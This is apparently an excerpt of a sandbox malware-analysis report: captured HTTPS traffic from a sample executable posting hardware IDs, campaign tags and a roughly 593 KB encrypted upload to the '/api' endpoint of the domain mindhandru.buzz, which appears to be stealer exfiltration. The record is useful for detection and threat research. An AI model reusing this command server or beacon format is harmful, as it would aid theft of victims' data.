2024-12-27 07:41:03 UTC	15069	OUT	Data Raw: 2d 2d 42 48 52 31 34 59 47 45 43 48 37 53 46 36 33 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 38 46 34 43 35 44 41 43 44 36 31 36 43 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 42 48 52 31 34 59 47 45 43 48 37 53 46 36 33 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 48 52 31 34 59 47 45 43 48 37 53 46 36 33 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --BHR14YGECH7SF63P7Content-Disposition: form-data; name="hwid"1B8F4C5DACD616CBBEBA0C6A975F1733--BHR14YGECH7SF63P7Content-Disposition: form-data; name="pid"2--BHR14YGECH7SF63P7Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 07:41:04 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ab47qupjtrsni8f4mpb0l0tl71; expires=Tue, 22 Apr 2025 01:27:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gqt02ncGk07E2rGQMK02vSV5ST7%2B6%2BcyyVeYWCN9F%2B9lZOJdIoyYvT%2BF2FYeg9kigPsiYuxf3fuZztvXLa17fp8t7mbUr5ZvsVf8wv7a9QU34A8SGYGnDSXrrJ9J2nysw%2FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aa81d8344339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1583&rtt_var=675&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16007&delivery_rate=1528795&cwnd=227&unsent_bytes=0&cid=feb4d336122e7f5f&ts=875&x=0"
2024-12-27 07:41:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:41:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49708	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:41:05 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZGL5M1FKIKU5TO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20218 Host: mindhandru.buzz
2024-12-27 07:41:05 UTC	15331	OUT	Data Raw: 2d 2d 5a 47 4c 35 4d 31 46 4b 49 4b 55 35 54 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 38 46 34 43 35 44 41 43 44 36 31 36 43 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 5a 47 4c 35 4d 31 46 4b 49 4b 55 35 54 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 47 4c 35 4d 31 46 4b 49 4b 55 35 54 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 47 4c 35 4d 31 46 4b Data Ascii: --ZGL5M1FKIKU5TOContent-Disposition: form-data; name="hwid"1B8F4C5DACD616CBBEBA0C6A975F1733--ZGL5M1FKIKU5TOContent-Disposition: form-data; name="pid"3--ZGL5M1FKIKU5TOContent-Disposition: form-data; name="lid"PsFKDg--pablo--ZGL5M1FK
2024-12-27 07:41:05 UTC	4887	OUT	Data Raw: 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-12-27 07:41:07 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j1oa9rq5pt4up7qlpupa4clk8a; expires=Tue, 22 Apr 2025 01:27:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i3Fr58hMU0aGZfcSJUWQMIckOoKc9alKGKWGH0%2F4n0LlJhI0%2Fxgbw%2Bj7rYW20Oh15PTur9NpGEOXk8QFgEyO0XCkiuGxVqX3FjicmWkeY6Dw7UOvRWB%2BwmIanGqIc%2BR2CXQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aa90ce477c8e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1787&rtt_var=685&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21175&delivery_rate=1581798&cwnd=248&unsent_bytes=0&cid=ffd9f4be8ba84c99&ts=1983&x=0"
2024-12-27 07:41:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:41:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49711	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:41:09 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IQ24GBO6F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1195 Host: mindhandru.buzz
2024-12-27 07:41:09 UTC	1195	OUT	Data Raw: 2d 2d 49 51 32 34 47 42 4f 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 38 46 34 43 35 44 41 43 44 36 31 36 43 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 49 51 32 34 47 42 4f 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 51 32 34 47 42 4f 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 51 32 34 47 42 4f 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --IQ24GBO6FContent-Disposition: form-data; name="hwid"1B8F4C5DACD616CBBEBA0C6A975F1733--IQ24GBO6FContent-Disposition: form-data; name="pid"1--IQ24GBO6FContent-Disposition: form-data; name="lid"PsFKDg--pablo--IQ24GBO6FContent-Disp
2024-12-27 07:41:10 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g3uvsi76137mi8uvndugs9q744; expires=Tue, 22 Apr 2025 01:27:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jfhVVkz4wuFbecB9zCMq2rT90UrxAFpTPUkybWuvfi0tB9KpAYWwJ43Zu7mwSY97esYdNSSq%2FXJTlmmP9of08dWrENvPlXB5CGg4gZUOMY9spGRZb1yYIMwtqWF2F0hZbog%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aaa8edea8cb7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4252&min_rtt=1821&rtt_var=2314&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2102&delivery_rate=1603514&cwnd=168&unsent_bytes=0&cid=0e438f3e7ff61f7a&ts=755&x=0"
2024-12-27 07:41:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49713	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:41:12 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4K5IIX3DF49CWSM4DR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 593612 Host: mindhandru.buzz
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 2d 2d 34 4b 35 49 49 58 33 44 46 34 39 43 57 53 4d 34 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 38 46 34 43 35 44 41 43 44 36 31 36 43 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 34 4b 35 49 49 58 33 44 46 34 39 43 57 53 4d 34 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4b 35 49 49 58 33 44 46 34 39 43 57 53 4d 34 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --4K5IIX3DF49CWSM4DRContent-Disposition: form-data; name="hwid"1B8F4C5DACD616CBBEBA0C6A975F1733--4K5IIX3DF49CWSM4DRContent-Disposition: form-data; name="pid"1--4K5IIX3DF49CWSM4DRContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 06 51 9d 47 38 58 32 8c 84 a4 5e 3c 16 ba ed c3 a8 c0 68 f0 dc 00 76 92 27 8f d9 f9 7e 44 e7 3d 36 7e c6 d7 9d e6 db 9b f5 bf 56 93 7f 3f 10 67 16 9e 37 ac 76 3e 2d 40 0f 75 9e f7 f6 fc 5d e0 4b 77 64 13 0e 81 ad fa 1f 6e bf 5b 4b c7 65 19 a1 ec 17 17 38 16 e5 b0 3f 07 82 20 65 c1 86 08 6a 83 a3 da 14 b1 3b 2f 90 24 47 ff 3f 63 e6 7e 66 c2 fc dd cf c5 a3 42 d0 cc 03 23 bf ee 64 3e 86 8f ed 59 7f 87 01 0a b4 22 ec e6 c0 42 9e 7b da a7 1f a1 bc ac 53 52 94 33 dc e6 3f 87 6a 79 f6 11 51 f0 41 e8 87 44 78 e2 34 c7 0d 33 5b c9 c5 53 5c 83 70 78 fc 3b ea 25 45 b3 79 6c f7 45 da 8d 2c 27 77 0e 90 64 2a d8 7e f4 46 fb 72 11 e5 c8 81 9f be 18 bd 72 10 fb 49 25 4c 52 0f 3d 09 ed 3f 82 cf 70 33 c2 a4 87 e8 2c 27 a9 93 cb 11 be b2 59 e9 ab 2e 99 3f 8c f1 1e ec d2 a3 Data Ascii: QG8X2^<hv'~D=6~V?g7v>-@u]Kwdn[Ke8? ej;/$G?c~fB#d>Y"B{SR3?jyQADx43[S\px;%EylE,'wd*~FrrI%LR=?p3,'Y.?
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: b2 87 57 12 f9 ed 30 2f 2a 79 1f 3d a1 0d 40 2c 41 30 df 2e 9c a1 61 a9 37 b4 9d ff d0 be 40 18 74 ee ba b8 ec 0e 60 df ab f0 df 83 6a 5f 88 4e ac 0c 50 46 02 e5 36 ec 58 bf 42 c7 d3 1e 90 d2 90 9c 32 34 11 67 4a 6e db cc 41 5a 5b 90 44 c0 6f 59 87 70 54 38 08 16 c9 e1 50 8a 34 5c 4b f0 19 0c 39 1f 58 a7 87 57 86 0d a6 c7 0f 9b e0 0c 27 44 55 43 3f 2e 81 62 2c 17 eb 93 5b ef cf cb e1 f1 cf c2 99 42 40 33 e8 36 1c de bb cb e8 bc e4 e8 b2 bd ba 3a 38 0d 42 bc f7 dd 48 ac 4e 8b 0a 5f 02 1c 9b 00 32 98 19 be 48 3a 8d 70 09 42 b8 8a 74 4b eb b6 80 ff 0d 5e 1e 44 0c 73 5c 58 7f 88 cc 0d 0a 53 00 b9 eb cf 01 ff 76 08 38 94 1f ea 9b c1 ae 90 91 70 94 3a 42 ef 4d 44 6f 2c 96 52 c2 b1 a8 64 db 98 f9 62 82 85 7d 22 a7 56 9a 6f 5c 89 08 3f 59 68 88 a0 5e bc 01 6e a1 Data Ascii: W0/*y=@,A0.a7@t`j_NPF6XB24gJnAZ[DoYpT8P4\K9XW'DUC?.b,[B@36:8BHN_2H:pBtK^Ds\XSv8p:BMDo,Rdb}"Vo\?Yh^n
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 6e e7 33 77 00 e2 63 c9 b0 d4 2c fe b6 53 13 19 bf c1 bc e7 94 cb 64 5a d0 aa ff b4 8a d0 9d 78 c0 93 25 23 56 33 bd 8a 84 94 73 94 9c 82 de ae 4c b0 8d 3f 0c d8 38 88 5e 38 f3 77 f5 a5 14 b0 91 81 f1 86 80 64 eb ed ad 24 bb 0b aa 6d 05 0e 20 11 5b f8 45 9e f6 01 46 7b 7f f9 4b fe 41 40 ac da 15 f4 f8 73 f3 95 17 a0 dd e7 5f d7 5c 7e 39 c4 05 54 de fe ed 5c 35 88 00 3e c1 9d 22 f4 1f fe 7c 6b e4 31 1d d5 93 94 76 98 fd 4a db b1 93 41 7c 67 5f d1 8c 79 c3 3e 55 8b 03 42 2d b5 23 ac c9 07 9b 38 4d 09 89 a2 44 b1 5d 43 4e 64 1c 22 36 1b 58 8e 7f 15 61 cc 8a cb 12 f9 55 10 74 d7 10 1b 07 f2 43 5e 41 00 9b 39 f2 e7 ef 79 19 85 c5 4d bf e8 5b 5c 5e 78 aa 7f df 48 c2 35 73 c3 3c 8f f9 db 55 65 e4 bb 4c 27 0e 38 12 76 05 82 5d 5f 83 90 40 80 b1 92 02 0a 3d b2 b7 Data Ascii: n3wc,SdZx%#V3sL?8^8wd$m [EF{KA@s_\~9T\5>"\|k1vJA\|g_y>UB-#8MD]CNd"6XaUtC^A9yM[\^xH5s<UeL'8v]_@=
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 10 0f fc df 73 ef b7 80 1f 47 dc 3a 39 1c 11 11 0f a3 5d 27 10 e5 41 e1 98 40 62 e2 e2 4d 7b 11 20 ad 1d 7c ad 78 3a da df d4 0d 5e 3d 76 96 36 e6 df 71 6e 5e 8f 9b fb f7 f8 b6 dd ca 9a db 8a a4 31 81 46 fb 4f 24 3f ee 51 a5 d7 a9 78 41 d2 44 4b 61 7d 30 47 86 35 06 5e 86 7f 91 c5 fe 44 07 31 43 9f 3e 3d a2 9d 2f b0 4e 51 c4 e6 45 54 bd 87 17 a2 99 dd 91 94 53 19 24 b5 4b d7 0f e2 d2 c9 cc 0b 6a e3 95 c1 ff 8a 51 2e c0 7e 51 ec 88 23 ec f4 2e 0d 13 29 65 2e e8 64 a6 46 e0 25 66 79 0c ab 8f 64 eb 4f 0f 86 6f 3b ce 96 66 0f 0d 74 fd d7 bb dd 1f 86 d9 52 2c 2e a2 24 d0 b0 4b 22 da f0 df 95 f8 08 63 3f 96 2d 2a 43 07 8a 49 20 1f bc cf 21 63 65 87 78 e5 11 c0 b1 3f 85 5d 7c 3f 3f 48 d4 65 c3 0f d4 18 f7 44 95 0e a2 0c 95 dc 30 a3 ec 4a 8d 22 07 4c 95 47 86 7d Data Ascii: sG:9]'A@bM{ \|x:^=v6qn^1FO$?QxADKa}0G5^D1C>=/NQETS$KjQ.~Q#.)e.dF%fydOo;ftR,.$K"c?-*CI !cex?]\|??HeD0J"LG}
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 60 ff 8a f9 17 07 9e 4f 4b 02 df cf d5 95 af 20 2a 8a 27 76 09 22 a5 d2 ae 55 ac ba 2f d6 ca 5e 33 2f a8 e4 de 5a ec f6 2a 38 34 d9 f1 f6 28 89 99 6a e7 80 82 bb 55 e4 7e 5d 04 b0 04 4a b8 f7 8b 96 cc 5d ed d0 1f 96 2d 14 41 74 da d5 bb 11 cc ea b7 ff 91 b5 fa 22 74 c2 6d 73 e6 85 ce 3d 74 af a4 8f ad ad 3c 9f 0f bc 23 93 c0 5b e6 07 de 12 a8 83 28 60 70 42 6c f3 91 7d 7e 30 e9 f9 1e cd 38 db 13 21 eb 07 9d 55 77 18 10 03 0d 14 06 02 76 ca ad fc ca eb 0b fa 34 e8 eb 57 6c 6f e1 44 99 f7 43 74 74 97 f6 03 ce f2 35 97 7b cb c8 3e 1d a0 f9 1f 5e 8c 59 08 97 9f 0e 6c 31 fa 4f 90 71 a8 dd 5e 93 44 f7 5f ed 3b a3 26 e8 86 e0 69 88 be d1 da 4b 28 5c b7 2e cb f6 e7 ce 83 0c 35 89 2a 6d 41 4e 87 41 95 3c fb 4e 41 1d 79 e5 fd 80 3e 81 b0 32 90 6d c9 d5 5b 5b 2f 50 Data Ascii: `OK 'v"U/^3/Z84(jU~]J]-At"tms=t<#[(`pBl}~08!Uwv4WloDCtt5{>^Yl1Oq^D_;&iK(\.5*mANA<NAy>2m[[/P
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: ec 01 7f de 6d e2 74 c2 5f 13 aa 30 28 6e 4a dd 6a 5f 20 f8 e2 ea 61 2b 7e d1 c0 e3 7d 70 a6 34 ac 44 ca f1 10 07 b7 19 6e 39 26 f6 59 b5 e1 d3 5d 1e fb 0b d5 db c6 bc 32 d3 cb d0 e3 98 8b 66 9a 7d b0 0c fe 2c d3 c3 44 c1 11 5e 88 fe 25 e2 b3 71 c9 c0 f7 95 9a 6e e0 c6 39 24 9f 0b df b3 79 c9 64 3c e7 bd 68 ca 21 c5 00 8e 28 77 77 69 91 97 12 a9 de e3 73 fa 6f 1b c7 f0 0f bd 51 ac 82 00 c6 2f 41 a9 06 5d 5e e9 55 52 3a 36 f8 a0 82 53 01 3b 4a 98 52 06 a0 39 b0 f2 0a 52 dd 26 e3 2d 13 b1 15 88 89 89 01 53 7b ff c6 2a f1 6e 68 59 94 b0 13 f8 be ec 64 35 b0 57 e0 67 42 5a 4b ee aa fe 32 0c b9 2f a7 ed b3 59 4e bf 75 22 7c 27 ba 5b 53 f2 1b 51 a7 3b 15 87 ab 6f 76 36 12 2f b6 75 5a 44 bc 33 9e 86 ff 5a 07 f0 97 5d 7b 95 91 f0 4d b1 04 6b ff f2 1b 29 80 ff 36 Data Ascii: mt_0(nJj_ a+~}p4Dn9&Y]2f},D^%qn9$yd<h!(wwisoQ/A]^UR:6S;JR9R&-S{*nhYd5WgBZK2/YNu"\|'[SQ;ov6/uZD3Z]{Mk)6
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 8d ff 05 5f 7c 21 e8 50 63 e4 5a c6 d6 00 78 51 1f 2d 44 69 72 99 e6 4f f8 fd b5 ce dd 75 de e5 d5 8f 85 76 87 0a 85 b4 cd 85 2d 5a 59 73 c9 c2 95 88 2b 4f 67 dd 87 8b de e1 4d 2b 12 44 36 36 fe 1a d8 c0 ff b7 97 28 4f 90 3f f8 66 49 ff 89 db 52 3c 7f 73 3e c3 5c 9f fe 01 c0 4c 07 36 bf 89 f1 78 1a 09 c3 bb 6b f9 5f e6 b6 16 d6 ef e8 ab 6e d8 8d 3a f2 55 6a 19 91 e3 2f a7 15 40 8c b8 9a 27 c8 a3 09 85 95 c5 3d 84 a6 cc dd 53 33 b8 66 1d 01 1c e7 3b 2b d4 e9 bf 22 f0 34 f1 29 26 44 c4 e2 86 5e de 1f b8 d7 a4 7b 7b 1b 9e b9 10 7a d2 65 b9 e4 82 71 e0 c3 0b be 6b ab 24 d7 cd 81 3a 5e b0 c4 f3 3b eb 4c 32 7f d3 87 ff 1f 3e 70 1b 7f 7e a5 90 7f 98 57 b3 fb f7 b3 77 2b 5e f3 75 27 7f 91 85 1e 55 f2 5a f1 f6 43 b9 36 c9 a1 fe e1 86 00 37 10 5b b7 36 05 7d 67 9a Data Ascii: _\|!PcZxQ-DirOuv-ZYs+OgM+D66(O?fIR<s>\L6xk_n:Uj/@'=S3f;+"4)&D^{{zeqk$:^;L2>p~Ww+^u'UZC67[6}g
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: b7 f6 6b e0 2d b9 ea 61 8d de da ff bb b6 22 5b b0 e8 f6 e2 94 9d 80 61 9f 1f fc 08 20 fd 46 50 c4 18 12 0c 51 e7 06 60 37 56 4f a1 48 bf 68 70 41 2d ce 8a e9 23 f0 a4 31 39 b2 fc af ea a9 41 ac cc 7c 26 ff fc fa 6c fa 37 cf 91 ee 8b 0f ad b1 93 a8 cc 93 cc 21 cc f7 37 dd d7 d7 dd f5 49 0e 0a 42 ef 66 05 88 f4 01 5d bd 1d 28 53 ce fc 4f f8 87 83 ab 23 ee 10 ac 10 09 a8 a2 b0 32 38 b0 7f ef fe 36 84 a5 a1 a3 41 97 05 87 ea eb ad ee 8a 82 34 73 fa 07 29 49 37 f8 e2 e9 3e e9 f4 eb 98 53 10 e1 c8 6e bb a2 e8 6d 1d 0d 66 68 6c 32 d0 a3 e0 8b 04 d9 eb 9f e3 b9 40 fe b2 40 67 e3 5e 8a 02 d9 01 0a 0c 18 29 51 3d 27 21 a9 ad e9 13 84 82 0b 87 89 08 4a f5 b0 2a a4 a6 ee fe d6 d4 f1 f3 26 65 a9 af c1 94 80 b7 30 83 99 13 cc 60 f8 2a 8c 6f a2 c6 fc b1 ab 53 91 6a 03 Data Ascii: k-a"[a FPQ`7VOHhpA-#19A\|&l7!7IBf](SO#286A4s)I7>Snmfhl2@@g^)Q='!J&e0`oSj
2024-12-27 07:41:12 UTC	15331	OUT	Data Raw: 8f 3f 6a 3d 25 54 3d e7 5d 9d 19 c0 b4 0f f9 0e da 12 df 09 58 04 d3 2b 78 ef 7a 34 33 f5 df 8c c8 e5 e8 2f 01 cc 17 7b ec d0 be b1 d8 d5 e0 0f 7f c2 5d 44 d6 4b 00 6e d3 2b 3f fd 25 2d 0b 8d 8f 5d 7b 07 d2 cf 7e d7 e3 43 e4 2b 01 5c 67 47 4d d1 e9 ce f1 8e f9 5f ff b7 bd 94 87 fa 88 9e 5a c2 14 c2 83 1a 3d 62 b0 f4 fc 01 9b 41 40 25 e9 50 07 50 c0 50 10 95 2f fe 74 00 0d 5f ee ad b8 c5 c9 02 e2 9e ee 27 67 03 0f b3 c5 a4 7e 1b 59 67 6c fb 92 3a bb 15 3f d1 de 8b e5 a2 c7 2b ea 60 b2 d3 eb 83 5b b6 dc 88 51 4f 5b cf 11 4e 0f 07 fd c8 0b 87 7e 56 2d 65 ca 6b 14 ba ff 88 52 38 11 5b 11 6a 1b 2d 10 25 f5 48 65 e6 a0 d4 0f 68 eb e2 bb 2e e3 6e 26 96 0f 0b 75 14 07 71 a8 53 a2 90 50 df 4f 56 cb 0f fe 36 be 33 3f 0d 9e a9 81 0a e5 8f 5c 14 17 db 5f 48 ca 6d 2e Data Ascii: ?j=%T=]X+xz43/{]DKn+?%-]{~C+\gGM_Z=bA@%PPP/t_'g~Ygl:?+`[QO[N~V-ekR8[j-%Heh.n&uqSPOV63?\_Hm.
2024-12-27 07:41:14 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fqmur5fs724r9jio86e53s6t7p; expires=Tue, 22 Apr 2025 01:27:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hYw9eMzcec3MEMMVpEv6hH2bAN0%2BM28dCwPQFlF%2FWOxOreCU61CGXY0Xynkw5OA8QPX70XQMKeVydzgRHshqiJf6BpRH%2BfQLogmiRM9mmx6pYJYbsDfLS11TcxDlFV4TJ54%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aab93ed9c342-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1532&min_rtt=1514&rtt_var=605&sent=381&recv=617&lost=0&retrans=0&sent_bytes=2837&recv_bytes=596224&delivery_rate=1753753&cwnd=160&unsent_bytes=0&cid=8c3388e2ab08608c&ts=2603&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49714	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
